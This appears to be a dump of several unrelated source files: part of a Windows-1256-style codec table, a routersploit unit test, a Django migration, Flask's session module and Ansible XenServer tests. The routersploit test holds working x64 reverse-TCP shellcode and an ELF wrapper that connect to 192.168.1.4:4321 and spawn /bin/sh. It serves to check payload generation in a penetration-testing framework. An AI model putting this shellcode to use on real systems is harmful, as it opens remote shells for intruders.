u'>' # 0x3E -> GREATER-THAN SIGN
u'?' # 0x3F -> QUESTION MARK
u'@' # 0x40 -> COMMERCIAL AT
u'A' # 0x41 -> LATIN CAPITAL LETTER A
u'B' # 0x42 -> LATIN CAPITAL LETTER B
u'C' # 0x43 -> LATIN CAPITAL LETTER C
u'D' # 0x44 -> LATIN CAPITAL LETTER D
u'E' # 0x45 -> LATIN CAPITAL LETTER E
u'F' # 0x46 -> LATIN CAPITAL LETTER F
u'G' # 0x47 -> LATIN CAPITAL LETTER G
u'H' # 0x48 -> LATIN CAPITAL LETTER H
u'I' # 0x49 -> LATIN CAPITAL LETTER I
u'J' # 0x4A -> LATIN CAPITAL LETTER J
u'K' # 0x4B -> LATIN CAPITAL LETTER K
u'L' # 0x4C -> LATIN CAPITAL LETTER L
u'M' # 0x4D -> LATIN CAPITAL LETTER M
u'N' # 0x4E -> LATIN CAPITAL LETTER N
u'O' # 0x4F -> LATIN CAPITAL LETTER O
u'P' # 0x50 -> LATIN CAPITAL LETTER P
u'Q' # 0x51 -> LATIN CAPITAL LETTER Q
u'R' # 0x52 -> LATIN CAPITAL LETTER R
u'S' # 0x53 -> LATIN CAPITAL LETTER S
u'T' # 0x54 -> LATIN CAPITAL LETTER T
u'U' # 0x55 -> LATIN CAPITAL LETTER U
u'V' # 0x56 -> LATIN CAPITAL LETTER V
u'W' # 0x57 -> LATIN CAPITAL LETTER W
u'X' # 0x58 -> LATIN CAPITAL LETTER X
u'Y' # 0x59 -> LATIN CAPITAL LETTER Y
u'Z' # 0x5A -> LATIN CAPITAL LETTER Z
u'[' # 0x5B -> LEFT SQUARE BRACKET
u'\\' # 0x5C -> REVERSE SOLIDUS
u']' # 0x5D -> RIGHT SQUARE BRACKET
u'^' # 0x5E -> CIRCUMFLEX ACCENT
u'_' # 0x5F -> LOW LINE
u'`' # 0x60 -> GRAVE ACCENT
u'a' # 0x61 -> LATIN SMALL LETTER A
u'b' # 0x62 -> LATIN SMALL LETTER B
u'c' # 0x63 -> LATIN SMALL LETTER C
u'd' # 0x64 -> LATIN SMALL LETTER D
u'e' # 0x65 -> LATIN SMALL LETTER E
u'f' # 0x66 -> LATIN SMALL LETTER F
u'g' # 0x67 -> LATIN SMALL LETTER G
u'h' # 0x68 -> LATIN SMALL LETTER H
u'i' # 0x69 -> LATIN SMALL LETTER I
u'j' # 0x6A -> LATIN SMALL LETTER J
u'k' # 0x6B -> LATIN SMALL LETTER K
u'l' # 0x6C -> LATIN SMALL LETTER L
u'm' # 0x6D -> LATIN SMALL LETTER M
u'n' # 0x6E -> LATIN SMALL LETTER N
u'o' # 0x6F -> LATIN SMALL LETTER O
u'p' # 0x70 -> LATIN SMALL LETTER P
u'q' # 0x71 -> LATIN SMALL LETTER Q
u'r' # 0x72 -> LATIN SMALL LETTER R
u's' # 0x73 -> LATIN SMALL LETTER S
u't' # 0x74 -> LATIN SMALL LETTER T
u'u' # 0x75 -> LATIN SMALL LETTER U
u'v' # 0x76 -> LATIN SMALL LETTER V
u'w' # 0x77 -> LATIN SMALL LETTER W
u'x' # 0x78 -> LATIN SMALL LETTER X
u'y' # 0x79 -> LATIN SMALL LETTER Y
u'z' # 0x7A -> LATIN SMALL LETTER Z
u'{' # 0x7B -> LEFT CURLY BRACKET
u'|' # 0x7C -> VERTICAL LINE
u'}' # 0x7D -> RIGHT CURLY BRACKET
u'~' # 0x7E -> TILDE
u'\x7f' # 0x7F -> DELETE
u'\u20ac' # 0x80 -> EURO SIGN
u'\u067e' # 0x81 -> ARABIC LETTER PEH
u'\u201a' # 0x82 -> SINGLE LOW-9 QUOTATION MARK
u'\u0192' # 0x83 -> LATIN SMALL LETTER F WITH HOOK
u'\u201e' # 0x84 -> DOUBLE LOW-9 QUOTATION MARK
u'\u2026' # 0x85 -> HORIZONTAL ELLIPSIS
u'\u2020' # 0x86 -> DAGGER
u'\u2021' # 0x87 -> DOUBLE DAGGER
u'\u02c6' # 0x88 -> MODIFIER LETTER CIRCUMFLEX ACCENT
u'\u2030' # 0x89 -> PER MILLE SIGN
u'\u0679' # 0x8A -> ARABIC LETTER TTEH
u'\u2039' # 0x8B -> SINGLE LEFT-POINTING ANGLE QUOTATION MARK
u'\u0152' # 0x8C -> LATIN CAPITAL LIGATURE OE
u'\u0686' # 0x8D -> ARABIC LETTER TCHEH
u'\u0698' # 0x8E -> ARABIC LETTER JEH
u'\u0688' # 0x8F -> ARABIC LETTER DDAL
u'\u06af' # 0x90 -> ARABIC LETTER GAF
u'\u2018' # 0x91 -> LEFT SINGLE QUOTATION MARK
u'\u2019' # 0x92 -> RIGHT SINGLE QUOTATION MARK
u'\u201c' # 0x93 -> LEFT DOUBLE QUOTATION MARK
u'\u201d' # 0x94 -> RIGHT DOUBLE QUOTATION MARK
u'\u2022' # 0x95 -> BULLET
u'\u2013' # 0x96 -> EN DASH
u'\u2014' # 0x97 -> EM DASH
u'\u06a9' # 0x98 -> ARABIC LETTER KEHEH
u'\u2122' # 0x99 -> TRADE MARK SIGN
u'\u0691' # 0x9A -> ARABIC LETTER RREH
u'\u203a' # 0x9B -> SINGLE RIGHT-POINTING ANGLE QUOTATION MARK
u'\u0153' # 0x9C -> LATIN SMALL LIGATURE OE
u'\u200c' # 0x9D -> ZERO WIDTH NON-JOINER
u'\u200d' # 0x9E -> ZERO WIDTH JOINER
u'\u06ba' # 0x9F -> ARABIC LETTER NOON GHUNNA
u'\xa0' # 0xA0 -> NO-BREAK SPACE
u'\u060c' # 0xA1 -> ARABIC COMMA
u'\xa2' # 0xA2 -> CENT SIGN
u'\xa3' # 0xA3 -> POUND SIGN
u'\xa4' # 0xA4 -> CURRENCY SIGN
u'\xa5' # 0xA5 -> YEN SIGN
u'\xa6' # 0xA6 -> BROKEN BAR
u'\xa7' # 0xA7 -> SECTION SIGN
u'\xa8' # 0xA8 -> DIAERESIS
u'\xa9' # 0xA9 -> COPYRIGHT SIGN
u'\u06be' # 0xAA -> ARABIC LETTER HEH DOACHASHMEE
u'\xab' # 0xAB -> LEFT-POINTING DOUBLE ANGLE QUOTATION MARK
u'\xac' # 0xAC -> NOT SIGN
u'\xad' # 0xAD -> SOFT HYPHEN
u'\xae' # 0xAE -> REGISTERED SIGN
u'\xaf' # 0xAF -> MACRON
u'\xb0' # 0xB0 -> DEGREE SIGN
u'\xb1' # 0xB1 -> PLUS-MINUS SIGN
u'\xb2' # 0xB2 -> SUPERSCRIPT TWO
u'\xb3' # 0xB3 -> SUPERSCRIPT THREE
u'\xb4' # 0xB4 -> ACUTE ACCENT
u'\xb5' # 0xB5 -> MICRO SIGN
u'\xb6' # 0xB6 -> PILCROW SIGN
u'\xb7' # 0xB7 -> MIDDLE DOT
u'\xb8' # 0xB8 -> CEDILLA
u'\xb9' # 0xB9 -> SUPERSCRIPT ONE
u'\u061b' # 0xBA -> ARABIC SEMICOLON
u'\xbb' # 0xBB -> RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK
u'\xbc' # 0xBC -> VULGAR FRACTION ONE QUARTER
u'\xbd' # 0xBD -> VULGAR FRACTION ONE HALF
u'\xbe' # 0xBE -> VULGAR FRACTION THREE QUARTERS
u'\u061f' # 0xBF -> ARABIC QUESTION MARK
u'\u06c1' # 0xC0 -> ARABIC LETTER HEH GOAL
u'\u0621' # 0xC1 -> ARABIC LETTER HAMZA
u'\u0622' # 0xC2 -> ARABIC LETTER ALEF WITH MADDA ABOVE
u'\u0623' # 0xC3 -> ARABIC LETTER ALEF WITH HAMZA ABOVE
u'\u0624' # 0xC4 -> ARABIC LETTER WAW WITH HAMZA ABOVE
u'\u0625' # 0xC5 -> ARABIC LETTER ALEF WITH HAMZA BELOW
u'\u0626' # 0xC6 -> ARABIC LETTER YEH WITH HAMZA ABOVE
u'\u0627' # 0xC7 -> ARABIC LETTER ALEF
u'\u0628' # 0xC8 -> ARABIC LETTER BEH
u'\u0629' # 0xC9 -> ARABIC LETTER TEH MARBUTA
u'\u062a' # 0xCA -> ARABIC LETTER TEH
u'\u062b' # 0xCB -> ARABIC LETTER THEH
u'\u062c' # 0xCC -> ARABIC LETTER JEEM
u'\u062d' # 0xCD -> ARABIC LETTER HAH
u'\u062e' # 0xCE -> ARABIC LETTER KHAH
u'\u062f' # 0xCF -> ARABIC LETTER DAL
u'\u0630' # 0xD0 -> ARABIC LETTER THAL
u'\u0631' # 0xD1 -> ARABIC LETTER REH
u'\u0632' # 0xD2 -> ARABIC LETTER ZAIN
u'\u0633' # 0xD3 -> ARABIC LETTER SEEN
u'\u0634' # 0xD4 -> ARABIC LETTER SHEEN
u'\u0635' # 0xD5 -> ARABIC LETTER SAD
u'\u0636' # 0xD6 -> ARABIC LETTER DAD
u'\xd7' # 0xD7 -> MULTIPLICATION SIGN
u'\u0637' # 0xD8 -> ARABIC LETTER TAH
u'\u0638' # 0xD9 -> ARABIC LETTER ZAH
u'\u0639' # 0xDA -> ARABIC LETTER AIN
u'\u063a' # 0xDB -> ARABIC LETTER GHAIN
u'\u0640' # 0xDC -> ARABIC TATWEEL
u'\u0641' # 0xDD -> ARABIC LETTER FEH
u'\u0642' # 0xDE -> ARABIC LETTER QAF
u'\u0643' # 0xDF -> ARABIC LETTER KAF
u'\xe0' # 0xE0 -> LATIN SMALL LETTER A WITH GRAVE
u'\u0644' # 0xE1 -> ARABIC LETTER LAM
u'\xe2' # 0xE2 -> LATIN SMALL LETTER A WITH CIRCUMFLEX
u'\u0645' # 0xE3 -> ARABIC LETTER MEEM
u'\u0646' # 0xE4 -> ARABIC LETTER NOON
u'\u0647' # 0xE5 -> ARABIC LETTER HEH
u'\u0648' # 0xE6 -> ARABIC LETTER WAW
u'\xe7' # 0xE7 -> LATIN SMALL LETTER C WITH CEDILLA
u'\xe8' # 0xE8 -> LATIN SMALL LETTER E WITH GRAVE
u'\xe9' # 0xE9 -> LATIN SMALL LETTER E WITH ACUTE
u'\xea' # 0xEA -> LATIN SMALL LETTER E WITH CIRCUMFLEX
u'\xeb' # 0xEB -> LATIN SMALL LETTER E WITH DIAERESIS
u'\u0649' # 0xEC -> ARABIC LETTER ALEF MAKSURA
u'\u064a' # 0xED -> ARABIC LETTER YEH
u'\xee' # 0xEE -> LATIN SMALL LETTER I WITH CIRCUMFLEX
u'\xef' # 0xEF -> LATIN SMALL LETTER I WITH DIAERESIS
u'\u064b' # 0xF0 -> ARABIC FATHATAN
u'\u064c' # 0xF1 -> ARABIC DAMMATAN
u'\u064d' # 0xF2 -> ARABIC KASRATAN
u'\u064e' # 0xF3 -> ARABIC FATHA
u'\xf4' # 0xF4 -> LATIN SMALL LETTER O WITH CIRCUMFLEX
u'\u064f' # 0xF5 -> ARABIC DAMMA
u'\u0650' # 0xF6 -> ARABIC KASRA
u'\xf7' # 0xF7 -> DIVISION SIGN
u'\u0651' # 0xF8 -> ARABIC SHADDA
u'\xf9' # 0xF9 -> LATIN SMALL LETTER U WITH GRAVE
u'\u0652' # 0xFA -> ARABIC SUKUN
u'\xfb' # 0xFB -> LATIN SMALL LETTER U WITH CIRCUMFLEX
u'\xfc' # 0xFC -> LATIN SMALL LETTER U WITH DIAERESIS
u'\u200e' # 0xFD -> LEFT-TO-RIGHT MARK
u'\u200f' # 0xFE -> RIGHT-TO-LEFT MARK
u'\u06d2' # 0xFF -> ARABIC LETTER YEH BARREE
)
### Encoding table
encoding_table=codecs.charmap_build(decoding_table)
| apache-2.0 |
dasseclab/dasseclab | clones/routersploit/tests/payloads/x64/test_reverse_tcp.py | 1 | 1678 | from routersploit.modules.payloads.x64.reverse_tcp import Payload
# reverse tcp with lhost=192.168.1.4 lport=4321
reverse_tcp = (
b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
b"\xb9\x02\x00\x10\xe1\xc0\xa8\x01\x04\x51\x48\x89\xe6\x6a\x10"
b"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
b"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"
)
# elf x64 reverse tcp
elf_x64_reverse_tcp = (
b"\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00"
b"\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00"
b"\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
b"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00"
b"\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00"
b"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"
b"\x40\x00\x00\x00\x00\x00\xc2\x00\x00\x00\x00\x00\x00\x00\x0c"
b"\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00"
b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
b"\xb9\x02\x00\x10\xe1\xc0\xa8\x01\x04\x51\x48\x89\xe6\x6a\x10"
b"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
b"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"
)
def test_payload_generation():
""" Test scenario - payload generation """
payload = Payload()
payload.lhost = "192.168.1.4"
payload.lport = 4321
assert payload.generate() == reverse_tcp
assert payload.generate_elf(reverse_tcp) == elf_x64_reverse_tcp
| gpl-2.0 |
flavoi/diventi | diventi/ebooks/migrations/0110_auto_20200830_1750.py | 1 | 3345 | # Generated by Django 2.2.13 on 2020-08-30 15:50
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('ebooks', '0109_auto_20200821_1049'),
]
operations = [
migrations.AlterField(
model_name='book',
name='color',
field=models.CharField(blank=True, choices=[('info', 'Light blue'), ('primary', 'Blue'), ('danger', 'Red'), ('warning', 'Yellow'), ('success', 'Green'), ('secondary', 'Gray'), ('dark', 'Black'), ('light', 'White')], default='default', max_length=30, verbose_name='color'),
),
migrations.AlterField(
model_name='chapter',
name='color',
field=models.CharField(blank=True, choices=[('info', 'Light blue'), ('primary', 'Blue'), ('danger', 'Red'), ('warning', 'Yellow'), ('success', 'Green'), ('secondary', 'Gray'), ('dark', 'Black'), ('light', 'White')], default='default', max_length=30, verbose_name='color'),
),
migrations.AlterField(
model_name='part',
name='color',
field=models.CharField(blank=True, choices=[('info', 'Light blue'), ('primary', 'Blue'), ('danger', 'Red'), ('warning', 'Yellow'), ('success', 'Green'), ('secondary', 'Gray'), ('dark', 'Black'), ('light', 'White')], default='default', max_length=30, verbose_name='color'),
),
migrations.AlterField(
model_name='replacementrule',
name='color',
field=models.CharField(blank=True, choices=[('info', 'Light blue'), ('primary', 'Blue'), ('danger', 'Red'), ('warning', 'Yellow'), ('success', 'Green'), ('secondary', 'Gray'), ('dark', 'Black'), ('light', 'White')], default='default', max_length=30, verbose_name='color'),
),
migrations.AlterField(
model_name='secret',
name='color',
field=models.CharField(blank=True, choices=[('info', 'Light blue'), ('primary', 'Blue'), ('danger', 'Red'), ('warning', 'Yellow'), ('success', 'Green'), ('secondary', 'Gray'), ('dark', 'Black'), ('light', 'White')], default='default', max_length=30, verbose_name='color'),
),
migrations.AlterField(
model_name='section',
name='color',
field=models.CharField(blank=True, choices=[('info', 'Light blue'), ('primary', 'Blue'), ('danger', 'Red'), ('warning', 'Yellow'), ('success', 'Green'), ('secondary', 'Gray'), ('dark', 'Black'), ('light', 'White')], default='default', max_length=30, verbose_name='color'),
),
migrations.AlterField(
model_name='sectionaspect',
name='color',
field=models.CharField(blank=True, choices=[('info', 'Light blue'), ('primary', 'Blue'), ('danger', 'Red'), ('warning', 'Yellow'), ('success', 'Green'), ('secondary', 'Gray'), ('dark', 'Black'), ('light', 'White')], default='default', max_length=30, verbose_name='color'),
),
migrations.AlterField(
model_name='universalsection',
name='color',
field=models.CharField(blank=True, choices=[('info', 'Light blue'), ('primary', 'Blue'), ('danger', 'Red'), ('warning', 'Yellow'), ('success', 'Green'), ('secondary', 'Gray'), ('dark', 'Black'), ('light', 'White')], default='default', max_length=30, verbose_name='color'),
),
]
| apache-2.0 |
AdvancedTopicsOfSE/aatserver | lib/flask/sessions.py | 348 | 12882 | # -*- coding: utf-8 -*-
"""
flask.sessions
~~~~~~~~~~~~~~
Implements cookie based sessions based on itsdangerous.
:copyright: (c) 2012 by Armin Ronacher.
:license: BSD, see LICENSE for more details.
"""
import uuid
import hashlib
from datetime import datetime
from werkzeug.http import http_date, parse_date
from werkzeug.datastructures import CallbackDict
from . import Markup, json
from ._compat import iteritems, text_type
from itsdangerous import URLSafeTimedSerializer, BadSignature
def total_seconds(td):
return td.days * 60 * 60 * 24 + td.seconds
class SessionMixin(object):
"""Expands a basic dictionary with an accessors that are expected
by Flask extensions and users for the session.
"""
def _get_permanent(self):
return self.get('_permanent', False)
def _set_permanent(self, value):
self['_permanent'] = bool(value)
#: this reflects the ``'_permanent'`` key in the dict.
permanent = property(_get_permanent, _set_permanent)
del _get_permanent, _set_permanent
#: some session backends can tell you if a session is new, but that is
#: not necessarily guaranteed. Use with caution. The default mixin
#: implementation just hardcodes `False` in.
new = False
#: for some backends this will always be `True`, but some backends will
#: default this to false and detect changes in the dictionary for as
#: long as changes do not happen on mutable structures in the session.
#: The default mixin implementation just hardcodes `True` in.
modified = True
class TaggedJSONSerializer(object):
"""A customized JSON serializer that supports a few extra types that
we take for granted when serializing (tuples, markup objects, datetime).
"""
def dumps(self, value):
def _tag(value):
if isinstance(value, tuple):
return {' t': [_tag(x) for x in value]}
elif isinstance(value, uuid.UUID):
return {' u': value.hex}
elif callable(getattr(value, '__html__', None)):
return {' m': text_type(value.__html__())}
elif isinstance(value, list):
return [_tag(x) for x in value]
elif isinstance(value, datetime):
return {' d': http_date(value)}
elif isinstance(value, dict):
return dict((k, _tag(v)) for k, v in iteritems(value))
elif isinstance(value, str):
try:
return text_type(value)
except UnicodeError:
raise UnexpectedUnicodeError(u'A byte string with '
u'non-ASCII data was passed to the session system '
u'which can only store unicode strings. Consider '
u'base64 encoding your string (String was %r)' % value)
return value
return json.dumps(_tag(value), separators=(',', ':'))
def loads(self, value):
def object_hook(obj):
if len(obj) != 1:
return obj
the_key, the_value = next(iteritems(obj))
if the_key == ' t':
return tuple(the_value)
elif the_key == ' u':
return uuid.UUID(the_value)
elif the_key == ' m':
return Markup(the_value)
elif the_key == ' d':
return parse_date(the_value)
return obj
return json.loads(value, object_hook=object_hook)
session_json_serializer = TaggedJSONSerializer()
class SecureCookieSession(CallbackDict, SessionMixin):
"""Baseclass for sessions based on signed cookies."""
def __init__(self, initial=None):
def on_update(self):
self.modified = True
CallbackDict.__init__(self, initial, on_update)
self.modified = False
class NullSession(SecureCookieSession):
"""Class used to generate nicer error messages if sessions are not
available. Will still allow read-only access to the empty session
but fail on setting.
"""
def _fail(self, *args, **kwargs):
raise RuntimeError('the session is unavailable because no secret '
'key was set. Set the secret_key on the '
'application to something unique and secret.')
__setitem__ = __delitem__ = clear = pop = popitem = \
update = setdefault = _fail
del _fail
class SessionInterface(object):
"""The basic interface you have to implement in order to replace the
default session interface which uses werkzeug's securecookie
implementation. The only methods you have to implement are
:meth:`open_session` and :meth:`save_session`, the others have
useful defaults which you don't need to change.
The session object returned by the :meth:`open_session` method has to
provide a dictionary like interface plus the properties and methods
from the :class:`SessionMixin`. We recommend just subclassing a dict
and adding that mixin::
class Session(dict, SessionMixin):
pass
If :meth:`open_session` returns `None` Flask will call into
:meth:`make_null_session` to create a session that acts as replacement
if the session support cannot work because some requirement is not
fulfilled. The default :class:`NullSession` class that is created
will complain that the secret key was not set.
To replace the session interface on an application all you have to do
is to assign :attr:`flask.Flask.session_interface`::
app = Flask(__name__)
app.session_interface = MySessionInterface()
.. versionadded:: 0.8
"""
#: :meth:`make_null_session` will look here for the class that should
#: be created when a null session is requested. Likewise the
#: :meth:`is_null_session` method will perform a typecheck against
#: this type.
null_session_class = NullSession
#: A flag that indicates if the session interface is pickle based.
#: This can be used by flask extensions to make a decision in regards
#: to how to deal with the session object.
#:
#: .. versionadded:: 0.10
pickle_based = False
def make_null_session(self, app):
"""Creates a null session which acts as a replacement object if the
real session support could not be loaded due to a configuration
error. This mainly aids the user experience because the job of the
null session is to still support lookup without complaining but
modifications are answered with a helpful error message of what
failed.
This creates an instance of :attr:`null_session_class` by default.
"""
return self.null_session_class()
def is_null_session(self, obj):
"""Checks if a given object is a null session. Null sessions are
not asked to be saved.
This checks if the object is an instance of :attr:`null_session_class`
by default.
"""
return isinstance(obj, self.null_session_class)
def get_cookie_domain(self, app):
"""Helpful helper method that returns the cookie domain that should
be used for the session cookie if session cookies are used.
"""
if app.config['SESSION_COOKIE_DOMAIN'] is not None:
return app.config['SESSION_COOKIE_DOMAIN']
if app.config['SERVER_NAME'] is not None:
# chop of the port which is usually not supported by browsers
rv = '.' + app.config['SERVER_NAME'].rsplit(':', 1)[0]
# Google chrome does not like cookies set to .localhost, so
# we just go with no domain then. Flask documents anyways that
# cross domain cookies need a fully qualified domain name
if rv == '.localhost':
rv = None
# If we infer the cookie domain from the server name we need
# to check if we are in a subpath. In that case we can't
# set a cross domain cookie.
if rv is not None:
path = self.get_cookie_path(app)
if path != '/':
rv = rv.lstrip('.')
return rv
def get_cookie_path(self, app):
"""Returns the path for which the cookie should be valid. The
default implementation uses the value from the SESSION_COOKIE_PATH``
config var if it's set, and falls back to ``APPLICATION_ROOT`` or
uses ``/`` if it's `None`.
"""
return app.config['SESSION_COOKIE_PATH'] or \
app.config['APPLICATION_ROOT'] or '/'
def get_cookie_httponly(self, app):
"""Returns True if the session cookie should be httponly. This
currently just returns the value of the ``SESSION_COOKIE_HTTPONLY``
config var.
"""
return app.config['SESSION_COOKIE_HTTPONLY']
def get_cookie_secure(self, app):
"""Returns True if the cookie should be secure. This currently
just returns the value of the ``SESSION_COOKIE_SECURE`` setting.
"""
return app.config['SESSION_COOKIE_SECURE']
def get_expiration_time(self, app, session):
"""A helper method that returns an expiration date for the session
or `None` if the session is linked to the browser session. The
default implementation returns now + the permanent session
lifetime configured on the application.
"""
if session.permanent:
return datetime.utcnow() + app.permanent_session_lifetime
def open_session(self, app, request):
"""This method has to be implemented and must either return `None`
in case the loading failed because of a configuration error or an
instance of a session object which implements a dictionary like
interface + the methods and attributes on :class:`SessionMixin`.
"""
raise NotImplementedError()
def save_session(self, app, session, response):
"""This is called for actual sessions returned by :meth:`open_session`
at the end of the request. This is still called during a request
context so if you absolutely need access to the request you can do
that.
"""
raise NotImplementedError()
class SecureCookieSessionInterface(SessionInterface):
"""The default session interface that stores sessions in signed cookies
through the :mod:`itsdangerous` module.
"""
#: the salt that should be applied on top of the secret key for the
#: signing of cookie based sessions.
salt = 'cookie-session'
#: the hash function to use for the signature. The default is sha1
digest_method = staticmethod(hashlib.sha1)
#: the name of the itsdangerous supported key derivation. The default
#: is hmac.
key_derivation = 'hmac'
#: A python serializer for the payload. The default is a compact
#: JSON derived serializer with support for some extra Python types
#: such as datetime objects or tuples.
serializer = session_json_serializer
session_class = SecureCookieSession
def get_signing_serializer(self, app):
if not app.secret_key:
return None
signer_kwargs = dict(
key_derivation=self.key_derivation,
digest_method=self.digest_method
)
return URLSafeTimedSerializer(app.secret_key, salt=self.salt,
serializer=self.serializer,
signer_kwargs=signer_kwargs)
def open_session(self, app, request):
s = self.get_signing_serializer(app)
if s is None:
return None
val = request.cookies.get(app.session_cookie_name)
if not val:
return self.session_class()
max_age = total_seconds(app.permanent_session_lifetime)
try:
data = s.loads(val, max_age=max_age)
return self.session_class(data)
except BadSignature:
return self.session_class()
def save_session(self, app, session, response):
domain = self.get_cookie_domain(app)
path = self.get_cookie_path(app)
if not session:
if session.modified:
response.delete_cookie(app.session_cookie_name,
domain=domain, path=path)
return
httponly = self.get_cookie_httponly(app)
secure = self.get_cookie_secure(app)
expires = self.get_expiration_time(app, session)
val = self.get_signing_serializer(app).dumps(dict(session))
response.set_cookie(app.session_cookie_name, val,
expires=expires, httponly=httponly,
domain=domain, path=path, secure=secure)
from flask.debughelpers import UnexpectedUnicodeError
| apache-2.0 |
2ndQuadrant/ansible | test/units/module_utils/xenserver/test_wait_for_functions.py | 15 | 7943 | # -*- coding: utf-8 -*-
#
# Copyright: (c) 2019, Bojan Vitnik <bvitnik@mainstream.rs>
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
import pytest
from .FakeAnsibleModule import FakeAnsibleModule, ExitJsonException, FailJsonException
from .common import fake_xenapi_ref, testcase_bad_xenapi_refs
testcase_wait_for_vm_ip_address_bad_power_states = {
"params": [
'Halted',
'Paused',
'Suspended',
'Other',
],
"ids": [
'state-halted',
'state-paused',
'state-suspended',
'state-other',
]
}
testcase_wait_for_vm_ip_address_bad_guest_metrics = {
"params": [
('OpaqueRef:NULL', {"networks": {}}),
(fake_xenapi_ref('VM_guest_metrics'), {"networks": {}}),
],
"ids": [
'vm_guest_metrics_ref-null, no-ip',
'vm_guest_metrics_ref-ok, no-ip',
],
}
testcase_wait_for_task_all_statuses = {
"params": [
('Success', ''),
('Failure', 'failure'),
('Cancelling', 'cancelling'),
('Cancelled', 'cancelled'),
('Other', 'other'),
],
"ids": [
'task-success',
'task-failure',
'task-cancelling',
'task-cancelled',
'task-other',
]
}
@pytest.mark.parametrize('vm_ref', testcase_bad_xenapi_refs['params'], ids=testcase_bad_xenapi_refs['ids'])
def test_wait_for_vm_ip_address_bad_vm_ref(fake_ansible_module, xenserver, vm_ref):
"""Tests failure on bad vm_ref."""
with pytest.raises(FailJsonException) as exc_info:
xenserver.wait_for_vm_ip_address(fake_ansible_module, vm_ref)
assert exc_info.value.kwargs['msg'] == "Cannot wait for VM IP address. Invalid VM reference supplied!"
def test_wait_for_vm_ip_address_xenapi_failure(mock_xenapi_failure, xenserver, fake_ansible_module):
"""Tests catching of XenAPI failures."""
with pytest.raises(FailJsonException) as exc_info:
xenserver.wait_for_vm_ip_address(fake_ansible_module, fake_xenapi_ref('VM'))
assert exc_info.value.kwargs['msg'] == "XAPI ERROR: %s" % mock_xenapi_failure[1]
@pytest.mark.parametrize('bad_power_state',
testcase_wait_for_vm_ip_address_bad_power_states['params'],
ids=testcase_wait_for_vm_ip_address_bad_power_states['ids'])
def test_wait_for_vm_ip_address_bad_power_state(mocker, fake_ansible_module, XenAPI, xenserver, bad_power_state):
"""Tests failure on bad power state."""
mocked_xenapi = mocker.patch.object(XenAPI.Session, 'xenapi', create=True)
mocked_returns = {
"VM.get_power_state.return_value": bad_power_state,
}
mocked_xenapi.configure_mock(**mocked_returns)
with pytest.raises(FailJsonException) as exc_info:
xenserver.wait_for_vm_ip_address(fake_ansible_module, fake_xenapi_ref('VM'))
assert exc_info.value.kwargs['msg'] == ("Cannot wait for VM IP address when VM is in state '%s'!" %
xenserver.xapi_to_module_vm_power_state(bad_power_state.lower()))
@pytest.mark.parametrize('bad_guest_metrics_ref, bad_guest_metrics',
testcase_wait_for_vm_ip_address_bad_guest_metrics['params'],
ids=testcase_wait_for_vm_ip_address_bad_guest_metrics['ids'])
def test_wait_for_vm_ip_address_timeout(mocker, fake_ansible_module, XenAPI, xenserver, bad_guest_metrics_ref, bad_guest_metrics):
"""Tests timeout."""
mocked_xenapi = mocker.patch.object(XenAPI.Session, 'xenapi', create=True)
mocked_returns = {
"VM.get_power_state.return_value": "Running",
"VM.get_guest_metrics.return_value": bad_guest_metrics_ref,
"VM_guest_metrics.get_record.return_value": bad_guest_metrics,
}
mocked_xenapi.configure_mock(**mocked_returns)
mocker.patch('time.sleep')
with pytest.raises(FailJsonException) as exc_info:
xenserver.wait_for_vm_ip_address(fake_ansible_module, fake_xenapi_ref('VM'), timeout=1)
assert exc_info.value.kwargs['msg'] == "Timed out waiting for VM IP address!"
def test_wait_for_vm_ip_address(mocker, fake_ansible_module, XenAPI, xenserver):
"""Tests regular invocation."""
mocked_xenapi = mocker.patch.object(XenAPI.Session, 'xenapi', create=True)
# This mock simulates regular VM IP acquirement lifecycle:
#
# 1) First, no guest metrics are available because VM is not yet fully
# booted and guest agent is not yet started.
# 2) Next, guest agent is started and guest metrics are available but
# IP address is still not acquired.
# 3) Lastly, IP address is acquired by VM on its primary VIF.
mocked_returns = {
"VM.get_power_state.return_value": "Running",
"VM.get_guest_metrics.side_effect": [
'OpaqueRef:NULL',
fake_xenapi_ref('VM_guest_metrics'),
fake_xenapi_ref('VM_guest_metrics'),
],
"VM_guest_metrics.get_record.side_effect": [
{
"networks": {},
},
{
"networks": {
"0/ip": "192.168.0.1",
"1/ip": "10.0.0.1",
},
},
],
}
mocked_xenapi.configure_mock(**mocked_returns)
mocker.patch('time.sleep')
fake_guest_metrics = xenserver.wait_for_vm_ip_address(fake_ansible_module, fake_xenapi_ref('VM'))
assert fake_guest_metrics == mocked_returns['VM_guest_metrics.get_record.side_effect'][1]
@pytest.mark.parametrize('task_ref', testcase_bad_xenapi_refs['params'], ids=testcase_bad_xenapi_refs['ids'])
def test_wait_for_task_bad_task_ref(fake_ansible_module, xenserver, task_ref):
"""Tests failure on bad task_ref."""
with pytest.raises(FailJsonException) as exc_info:
xenserver.wait_for_task(fake_ansible_module, task_ref)
assert exc_info.value.kwargs['msg'] == "Cannot wait for task. Invalid task reference supplied!"
